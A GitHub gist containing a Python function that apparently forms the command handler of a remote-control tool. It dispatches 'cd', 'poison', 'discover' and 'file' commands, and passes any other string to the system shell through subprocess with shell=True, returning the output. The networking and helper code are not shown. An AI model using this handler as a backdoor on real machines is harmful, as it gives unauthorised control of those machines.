Created
June 30, 2020 06:02
-
-
Save NimishMishra/5d19fd12656cef276f827804f5b82b37 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def run_command(command): | |
command = command.rstrip() | |
try: | |
command.index("cd") | |
navigate_directory(command) | |
return "Directory changed to: " + str(os.getcwd()) | |
except: | |
pass | |
try: | |
command.index("poison") | |
command_splits = command.split(" ") | |
output = entry(command_splits[1], command_splits[2]) | |
return output | |
except: | |
pass | |
try: | |
command.index("discover") | |
command_splits = command.split(" ") | |
print("here") | |
print(command_splits[1]) | |
print(command_splits[2]) | |
output = discovery(command_splits[1], command_splits[2]) | |
return output | |
except: | |
pass | |
try: | |
command.index("file") | |
output = file_handler(command) | |
return output | |
except: | |
pass | |
try: | |
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) | |
except Exception as e: | |
output = "Failed to execute command " + str(e) | |
return output |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment